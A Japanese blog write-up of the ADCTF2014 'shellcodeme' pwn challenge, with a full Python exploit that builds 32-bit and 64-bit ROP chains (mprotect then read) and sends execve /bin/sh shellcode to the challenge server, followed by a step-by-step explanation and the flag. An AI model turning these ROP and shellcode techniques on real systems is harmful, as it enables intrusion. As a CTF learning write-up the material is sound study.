つれづれなる備忘録

CTF関連の事やその他諸々

ADCTF2014 [23] shellcodeme

解いた後の、まさかのstage2みたいなのってつらい

Can you execute shellcode? Really? shellcodeme.c shellcodeme
nc pwnable.katsudon.org 33201

 

この問題は、同じコードから生成されたと思われる3つのバイナリをpwnします。

一つは32bit、もう一つは64bitのバイナリです。

 

長いので、先にコード載せておきます exploit_shellcodeme.py

#!/usr/bin/env python
from struct import *
import sys
import socket

rhp     = ("pwnable.katsudon.org",33201)

nc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
nc.settimeout(0.5)
nc.connect(rhp)
print 'Connect to %s:%d' % rhp

#==========Stage1==========#

def stage1(nc):
    print 'Stage1'

    addr_ret        = 0x080484fd
    addr_pop_0xc    = 0x08048312
    addr_mprotect   = 0x08048330
    addr_read       = 0x08048340
    addr_mem_exec   = 0x20000000

    stdin  = 0x0
    length = 0x400

    exploit =   pack("<I", addr_ret)
    exploit +=  "\x00"*0xc
    exploit +=  pack("<I", addr_mprotect)
    exploit +=  pack("<I", addr_pop_0xc)
    exploit +=  pack("<I", addr_mem_exec)
    exploit +=  pack("<I", length)
    exploit +=  pack("<I", 0x7)
    exploit +=  pack("<I", addr_read)
    exploit +=  pack("<I", addr_mem_exec)
    exploit +=  pack("<I", stdin)
    exploit +=  pack("<I", addr_mem_exec)
    exploit +=  pack("<I", length)

    payload =   "\x31\xc0"                  #xor    %eax,%eax
    payload +=  "\xb0\x0b"                  #mov    0x0b,%al
    payload +=  "\x68\x2f\x2f\x73\x68"      #push   0x68732f2f
    payload +=  "\x68\x2f\x62\x69\x6e"      #push   0x6e69622f
    payload +=  "\x89\xe3"                  #mov    %esp,%ebx
    payload +=  "\x31\xc9"                  #xor    %ecx,%ecx
    payload +=  "\x31\xd2"                  #xor    %edx,%edx
    payload +=  "\xcd\x80"                  #int    0x80

    print 'Send exploit...'
    nc.sendall(exploit)
    print 'Send payload...'
    nc.sendall(payload)

#==========Stage2==========#

def stage2(nc):
    print 'Stage2'

    addr_ret        = 0x0040062c
    addr_pop_rsi_1  = 0x00400691
    addr_pop_rdi    = 0x00400693
    addr_pop_1      = 0x00400692
    addr_mov_rdx    = 0x00400670    #mov r13,rdx    mov %r14,%rsi
                                    #mov %r15d,%edi callq *(%r12,%rbx,8)
    addr_pop_6      = 0x0040068a    #pop rbx,rbp,r12,r13,r14,r15
    addr_mprotect   = 0x004004c0
    addr_read       = 0x00400490
    addr_mem_exec   = 0x20000000
    addr_buf        = 0x00601100

    stdin  = 0x0
    length = 0x400

    exploit =   pack("<Q", addr_ret)
    exploit +=  "\x00"*0x8

    exploit +=  pack("<Q", addr_pop_rdi)
    exploit +=  pack("<Q", stdin)
    exploit +=  pack("<Q", addr_pop_rsi_1)
    exploit +=  pack("<Q", addr_buf)
    exploit +=  pack("<Q", 0xdeadbeef)
    exploit +=  pack("<Q", addr_read)

    exploit +=  pack("<Q", addr_pop_6)
    exploit +=  pack("<Q", 0x0)
    exploit +=  pack("<Q", 0x0)
    exploit +=  pack("<Q", addr_buf)
    exploit +=  pack("<Q", 0x7)
    exploit +=  pack("<Q", length)
    exploit +=  pack("<Q", addr_mem_exec)
    exploit +=  pack("<Q", addr_mov_rdx)

    exploit +=  pack("<Q", addr_mprotect)

    exploit +=  pack("<Q", addr_pop_6)
    exploit +=  pack("<Q", 0x0)
    exploit +=  pack("<Q", 0x0)
    exploit +=  pack("<Q", addr_buf)
    exploit +=  pack("<Q", length)
    exploit +=  pack("<Q", addr_mem_exec)
    exploit +=  pack("<Q", stdin)
    exploit +=  pack("<Q", addr_mov_rdx)

    exploit +=  pack("<Q", addr_read)

    exploit +=  pack("<Q", addr_mem_exec)

    payload =   "\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"  #movabs '/bin/sh',%rbx
    payload +=  "\x53"                                      #push   %rbx
    payload +=  "\x48\x89\xe7"                              #mov    %rsp,%rdi
    payload +=  "\x48\x31\xf6"                              #xor    %rsi,%rsi
    payload +=  "\x48\x31\xd2"                              #xor    %rdx,%rdx
    payload +=  "\x48\x31\xc0"                              #xor    %rax,%rax
    payload +=  "\xb0\x3b"                                  #mov    0x3b,%al
    payload +=  "\x0f\x05"                                  #syscall

    nc.sendall('./shellcodeme2\x0a')
    nc.sendall(exploit)
    nc.sendall(pack("<Q", addr_pop_1))
    nc.sendall(payload)

stage1(nc)
stage2(nc)

続く

 

まずは32bitのStage1から

そもそもこのプログラムは、readする際に

read(0, &buf, SHELLCODE_LEN);

としていることから、確保した0x20000000ではなく、char*型のbufが格納された場所に書き込んでしまっている

そのため、

(*(void(*)()) buf)()

の際に、書き込んだ始めの4byteのアドレスに制御が飛ぶようになっている

しかしespのずれを考えるのが面倒だったため、即座にretをして通常のスタックオーバーフローの問題のように扱うこととした。

exploit = pack("<I", addr_ret)
exploit += "\x00"*0xc
exploit += pack("<I", addr_mprotect)
exploit += pack("<I", addr_pop_0xc)
exploit += pack("<I", addr_mem_exec)
exploit += pack("<I", length)
exploit += pack("<I", 0x7)
exploit += pack("<I", addr_read)
exploit += pack("<I", addr_mem_exec)
exploit += pack("<I", stdin)
exploit += pack("<I", addr_mem_exec)
exploit += pack("<I", length)

mprotectで0x20000000のパーミッションをrwxとし、そこにシェルコードを書きこむ

次にreadができるように、add 0xc,$espを忘れずに

readで0x20000000にシェルコードを書きこんだら、そこに制御を飛ばせばStage1は終了。

シェルコードの説明はいつも通りなので割愛

 

次に64bitのStage2である。

64bitでのsyscallでは、引数を順に$edi,$esi,$edx...の順に格納しておかなければならない。

$rdiと$rsiはROP gadgetを用いて容易に格納できるが、$edxはそう簡単にはいかないようである。

使えるのは

40068a: 5b pop %rbx
40068b: 5d pop %rbp
40068c: 41 5c pop %r12
40068e: 41 5d pop %r13
400690: 41 5e pop %r14
400692: 41 5f pop %r15
400694: c3 retq

でpopしてから、

400670: 4c 89 ea mov %r13,%rdx
400673: 4c 89 f6 mov %r14,%rsi
400676: 44 89 ff mov %r15d,%edi
400679: 41 ff 14 dc callq *(%r12,%rbx,8)

でmovしてやれば良いと考えられる。

ちなみに、同時に$rsiと$ediへの格納も行える。

 

exploit = pack("<Q", addr_ret)
exploit += "\x00"*0x8

exploit += pack("<Q", addr_pop_rdi)
exploit += pack("<Q", stdin)
exploit += pack("<Q", addr_pop_rsi_1)
exploit += pack("<Q", addr_buf)
exploit += pack("<Q", 0xdeadbeef)
exploit += pack("<Q", addr_read)

まずは先程と同じように最初にretします。

$rdiにstdinの0、$rsiに適当な書き込み可能なバッファアドレスを指定してread

nc.sendall(pack("<Q", addr_pop_1))

ここで、1回popするROPgadgetのアドレスを格納させます。これは後ほど重要になってきます。

 

次に$rbx,$rbp,$r12,$r13,$r14,$r15の順で値を格納し、それを目的のレジスタにmovします。

exploit += pack("&lt;Q", addr_pop_6)
exploit += pack("&lt;Q", 0x0)
exploit += pack("&lt;Q", 0x0)
exploit += pack("&lt;Q", addr_buf)
exploit += pack("&lt;Q", 0x7)
exploit += pack("&lt;Q", length)
exploit += pack("&lt;Q", addr_mem_exec)
exploit += pack("&lt;Q", addr_mov_rdx)

exploit += pack("&lt;Q", addr_mprotect)

しかし、この後はretではなくcallq *(%r12,%rbx,8)です。

なので、$r12は先程のバッファアドレス、$rbxは0にすることで、call addr_pop_1+0*8となります。

これの命令は実質ret命令と同じです。

そして、$rdi=0x20000000,$rsi=length,$rdx=0x7の状態でmprotectが呼ばれ、読み込み書き込み実行が可能となります。

 

あとは先程同様に値を格納して、今度はreadでシェルコードを読み込みます。

exploit += pack("&lt;Q", addr_pop_6)
exploit += pack("&lt;Q", 0x0)
exploit += pack("&lt;Q", 0x0)
exploit += pack("&lt;Q", addr_buf)
exploit += pack("&lt;Q", length)
exploit += pack("&lt;Q", addr_mem_exec)
exploit += pack("&lt;Q", stdin)
exploit += pack("&lt;Q", addr_mov_rdx)

exploit += pack("&lt;Q", addr_read)
exploit += pack("&lt;Q", addr_mem_exec)

最後にそのシェルコードに制御を飛ばして完了です。

面倒なので、シェルコードの説明は同じく割愛。

shell

あー長かったwww

 

FLAG: ADCTF_I_l0v3_tH15_4W350M3_m15T4K3